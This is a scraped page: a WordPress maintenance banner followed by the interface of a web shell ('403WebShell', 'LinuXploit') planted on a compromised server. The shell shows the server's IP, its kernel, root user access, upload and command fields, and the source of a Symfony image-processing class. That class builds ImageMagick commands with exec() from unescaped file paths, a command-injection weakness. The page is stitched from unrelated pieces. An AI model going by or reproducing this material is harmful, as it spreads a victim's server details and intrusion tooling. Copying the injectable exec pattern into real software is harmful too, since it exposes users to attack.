WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Service/ImageHelper.php
<?php
/**
 * Created by PhpStorm.
 * User: komu
 * Date: 17/04/19
 * Time: 22:10
 */

namespace App\Service;



use App\Entity\Payment;

use App\Entity\Spectralsample;

use App\Entity\Stock;
use Doctrine\ORM\EntityManager;
use Intervention\Image\ImageManager;

use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\File\File;
use Symfony\Component\Process\Process;
use Symfony\Component\Routing\Router;

class   ImageHelper
{
    private $em;
    private $router;
    private $root_dir;
    private $water_mark;
    private $stock_dir;
    private $water_mark_200;
    private $water_mark_SI;
    public function __construct( EntityManager $em ,Router $router,$root_dir,$water_mark,$water_mark_200,$water_mark_SI,$stock_dir) {
        $this->em    = $em;
        $this->router    = $router;
        $this->root_dir    = $root_dir;
        $this->water_mark    = $water_mark;
        $this->stock_dir    = $stock_dir;
        $this->water_mark_200    = $water_mark_200;
        $this->water_mark_SI    = $water_mark_SI;

    }
    public function generate($image_path,Stock $stock,$save_path=false,$rename=true){
        if($save_path==false){
            $save_path='uploads/stock';
        }
        $fileNam=$stock->getMediaName();

        $formatted = 'suraimages-'.$stock->getFormattedId();

        $fileObj= new File($image_path);
        $fileSystem= new Filesystem();
        $ext=$fileObj->guessExtension();
        $thumb_name= 'thumb_'.$fileNam.'.'.$ext;
//        $preview_name= 'preview_'.$fileNam.'.'.$ext;
        $preview_name= 'suraimages_preview_'.$stock->getFormattedId().'-'.$stock->getSlug().'.'.$ext;
//        $small_name= 'sm_'.$fileNam.'.'.$ext;
        $small_name= $formatted.'_sm-'.$stock->getSlug().'.'.$ext;
//        $large_name= 'lg_'.$fileNam.'.'.$ext;
//        $medium_name= 'md_'.$fileNam.'.'.$ext;
        $medium_name= $formatted.'_md-'.$stock->getSlug().'.'.$ext;
        $original_name= $fileNam.'.'.$ext;
        //just copy and pray to go there will be no errors
        if($rename) {
            $fileSystem->rename($image_path, $this->stock_dir . DIRECTORY_SEPARATOR . $original_name);
        }
        $image_path=$this->stock_dir.DIRECTORY_SEPARATOR.$original_name;
// create an image manager instance with favored driver
        $manager = new ImageManager(array('driver' => 'imagick'));

        //resample prev & thumbnail dpi
        $thumbPath=$save_path . DIRECTORY_SEPARATOR . $thumb_name;
        $prevPath=$save_path . DIRECTORY_SEPARATOR . $preview_name;

        exec('convert -units PixelsPerInch ' . $image_path . ' -resample 72 '. $thumbPath);
        exec('convert -units PixelsPerInch ' . $image_path . ' -resample 72 '. $prevPath);

        //resive prev & thumb with intervention image
        $preview_image = is_file($prevPath)
            ? $manager->make($prevPath)
            : $manager->make($image_path);
        $thumb_image = is_file($thumbPath)
            ? $manager->make($thumbPath)
            : $manager->make($image_path);

        $preview_image->resize(800, null, function ($constraint) {
            $constraint->aspectRatio();
        })->insert($this->water_mark_SI, 'center')->colorize(0, 0, 0)->save($prevPath);
        $stock->setThumbName($thumb_name);
        $stock->setPreviewName($preview_name);

        $thumb_image->resize(400, null, function ($constraint) {
            $constraint->aspectRatio();
        })
//        $thumb_image->fit(600, 400)
         ->insert($this->water_mark_200, 'center')->colorize(0, 0, 0)->save($thumbPath);


        if(is_file($thumbPath)) {
            $sizes=(getimagesize($thumbPath));
            $width=$sizes[0];
            $height=$sizes[1];
            $stock->setThumbWidth($width);
            $stock->setThumbHeight($height);

        }

        $original_img = $manager->make($image_path);
        $smPath = $this->stock_dir . DIRECTORY_SEPARATOR . $small_name;
//            $lgPath = $this->stock_dir . DIRECTORY_SEPARATOR . $large_name;
        $mdPath = $this->stock_dir . DIRECTORY_SEPARATOR . $medium_name;

        //change orginial file -> large image
        $exifs = $this->fetchImageInfo($image_path)['exifs'];
        $xResolution = $exifs['XResolution'];

        $resolutionAr = explode("/",strval($xResolution));
        $resolution = $resolutionAr[0]/$resolutionAr[1];

        $smallRes = ((int)$resolution)/3;
        $mediumRes = ((int)$resolution)/2;

        exec('convert -units PixelsPerInch ' . $image_path . ' -resample  '.$smallRes. " " . $smPath);
        exec('convert -units PixelsPerInch ' . $image_path . ' -resample '. $mediumRes. " " . $mdPath);



        $stock->setLargeImagePath($image_path);
        $stock->setSmallImagePath($smPath);
        $stock->setFilePath($mdPath);
        $stock->setLargeImageName($original_name);

            $height = $original_img->height();
            $width = $original_img->width();
            $stock->setFileHeight($height);
            $stock->setFileWidth($width);

            $stock->setFileExtension($ext);
            $stock->setOrientation($height >= $width ? "Portrait" : "Landscape");
            /*$stock->setStatus(Stock::APPROVED_STOCK);
            $stock->setPublished(true);*/
            $this->em->persist($stock);
            $this->em->flush();

        return array(
            'thumb_name'=>$thumb_name,
            'preview_name'=>$preview_name,
        );

    }
    public function fetchImageInfo($image_path)
    {
        $fileObj= new File($image_path);
        $manager = new ImageManager(array('driver' => 'gd'));
        $image = $manager->make($image_path);
        $exifs = $image->exif();
        $iptc = $image->iptc();
        $height = $image->height();
        $width = $image->width();
        return array(
            'iptc' => $iptc,
            'exifs' => $exifs,
            'height' => $height,
            'width' => $width

        );
    }

    public function resizePreviewWaterMark(Stock $stock)
    {
        $image = $stock->getLargeImagePath();
        if (is_file($image)){
            $manager = new ImageManager(['driver' => 'imagick']);

            $prevPath=$this->stock_dir . DIRECTORY_SEPARATOR . $stock->getPreviewName();

            //dpi
            exec('convert -units PixelsPerInch ' . $image . ' -resample 72 '. $prevPath);

            //watermark and fit
            $prev = $manager->make($image);
            $prev->resize(800, null, function ($constraint) {
                $constraint->aspectRatio();
            })->insert($this->water_mark_SI, 'center')->colorize(0, 0, 0)->save($prevPath);
            return true;
        }else{
            return false;
        }

    }

    public function reGenerateImage(Stock $stock,$save_path)
    {

//        $save_path=$this->getParameter('stock_directory');
        $fileSystem = new Filesystem();
        $fileNam=$stock->getMediaName();
        $fileObj= new File($stock->getFilePath());
        $ext=$fileObj->guessExtension();
        $thumb_name= 'thumb_'.$fileNam.'.'.$ext;
        $preview_name= 'preview_'.$fileNam.'.'.$ext;
        $small_name= 'sm_'.$fileNam.'.'.$ext;
        $large_name= 'lg_'.$fileNam.'.'.$ext;

        $fileSystem->rename($save_path.DIRECTORY_SEPARATOR.$stock->getThumbName(),$save_path.DIRECTORY_SEPARATOR.$thumb_name);
        $fileSystem->rename($save_path.DIRECTORY_SEPARATOR.$stock->getPreviewName(),$save_path.DIRECTORY_SEPARATOR.$preview_name);

        $stock->setThumbName($thumb_name);
        $stock->setPreviewName($preview_name);

        $fileSystem->rename($stock->getSmallImagePath(),$save_path.DIRECTORY_SEPARATOR.$small_name);
        $fileSystem->rename($stock->getLargeImagePath(),$save_path.DIRECTORY_SEPARATOR.$large_name);

        $stock->setSmallImagePath($save_path.DIRECTORY_SEPARATOR.$small_name);
        $stock->setLargeImagePath($save_path.DIRECTORY_SEPARATOR.$large_name);

        $this->em->persist($stock);
        $this->em->flush();

    }
    public function generateImage(Stock $stock)
    {
        $image=$stock->getFilePath();

        $preview_name=$stock->getPreviewName();
        $thumb_name=$stock->getThumbName();

        $fileObject = new \SplFileInfo($image);

        if ($fileObject){
            $manager = new ImageManager(array('driver' => 'imagick'));

            try{
                $imageObject = $manager->make($image);

                $imageObject->resize(400,null,function ($constraint){
                    $constraint->aspectRatio();
                })
                    ->insert($this->water_mark_200 ,'center')->colorize(0, 0, 0)->save($this->stock_dir.DIRECTORY_SEPARATOR.$thumb_name);


                $imageObject->resize(800,null, function ($constraint) {
                    $constraint->aspectRatio();
                })->insert($this->water_mark_SI ,'center')->colorize(0, 0, 0)->save($this->stock_dir.DIRECTORY_SEPARATOR.$preview_name);

                $cmd = 'convert -units PixelsPerInch "$IMAGE" -resample 72 "$SMALL_IMAGE" && convert -units PixelsPerInch "$IMAGE" -resample 300 "$LARGE_IMAGE"';

                /*exec('convert -units PixelsPerInch '.$image.' -resample 72 '.$stock->getSmallImagePath());
                exec('convert -units PixelsPerInch '.$image.' -resample 300 '.$stock->getLargeImagePath());*/

                $process = new Process($cmd);

                $process->run(null,[
                    'IMAGE'=>$image,
                    'SMALL_IMAGE'=>$stock->getSmallImagePath(),
                    'LARGE_IMAGE'=>$stock->getLargeImagePath()
                ]);

                $stock->setPublished(Stock::PUBLISHED_STOCK);
                $this->em->persist($stock);
                $this->em->flush();
            }catch (\Exception $e){
                //
            }
        }

    }

    public function optimize_shareable_image(Stock $stock)
    {
        $error = false;
        $stockId = $stock->getId();
        $suraId = $stock->getSuraID();
        $image = $this->stock_dir.DIRECTORY_SEPARATOR.$stock->getSharableImage();
        if (is_file($image)){
            exec('convert -units PixelsPerInch ' . $image . ' -resample 72 '. $image);
            $manager = new ImageManager(['driver' => 'imagick']);
            $img = $manager->make($image);
            $img
                ->resize(400,null,function($constraint){ $constraint->aspectRatio(); })
                ->insert($this->water_mark_200, 'center')
                ->colorize(0,0,0)->save($image);

            $message = "Shareable image resized. [Stock id: $stockId, Sura id: $suraId]";
        }else{
            $message = "No image to resize. [Stock id: $stockId, Sura id: $suraId] ";
            $error = true;
        }
//        $this->logImageProcessed($stock,$message);
        return [
            'error'=>$error,
            'message'=>$message
        ];
    }

    public function setStockThumbSizes(Stock $stock)
    {
        $error = false;
        $stockId = $stock->getId();
        $suraId = $stock->getSuraID();
        $thumbPath = $this->stock_dir.DIRECTORY_SEPARATOR.$stock->getThumbName();
        if(is_file($thumbPath)) {
            $sizes=(getimagesize($thumbPath));
            $width=$sizes[0];
            $height=$sizes[1];
            $stock->setThumbWidth($width);
            $stock->setThumbHeight($height);
            $this->em->persist($stock);
            $this->em->flush();
            $message = "Thumb size set successfully. [Stock id: $stockId, Sura id: $suraId] ";
        }else{
            $message = "No image to set thumb size. [Stock id: $stockId, Sura id: $suraId]";
            $error = true;
        }
//        $this->logImageProcessed($stock,$message);
        return [
            'error'=>$error,
            'message'=>$message
        ];
    }

    public function logImageProcessed(Stock $stock, $message)
    {
        $date = new \DateTime("now",new \DateTimeZone("Africa/Nairobi"));

        $log = $date->format("Y-m-d, h:i:s A")." - ".$message."\n";
        file_put_contents("image_processed.txt", $log, FILE_APPEND);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit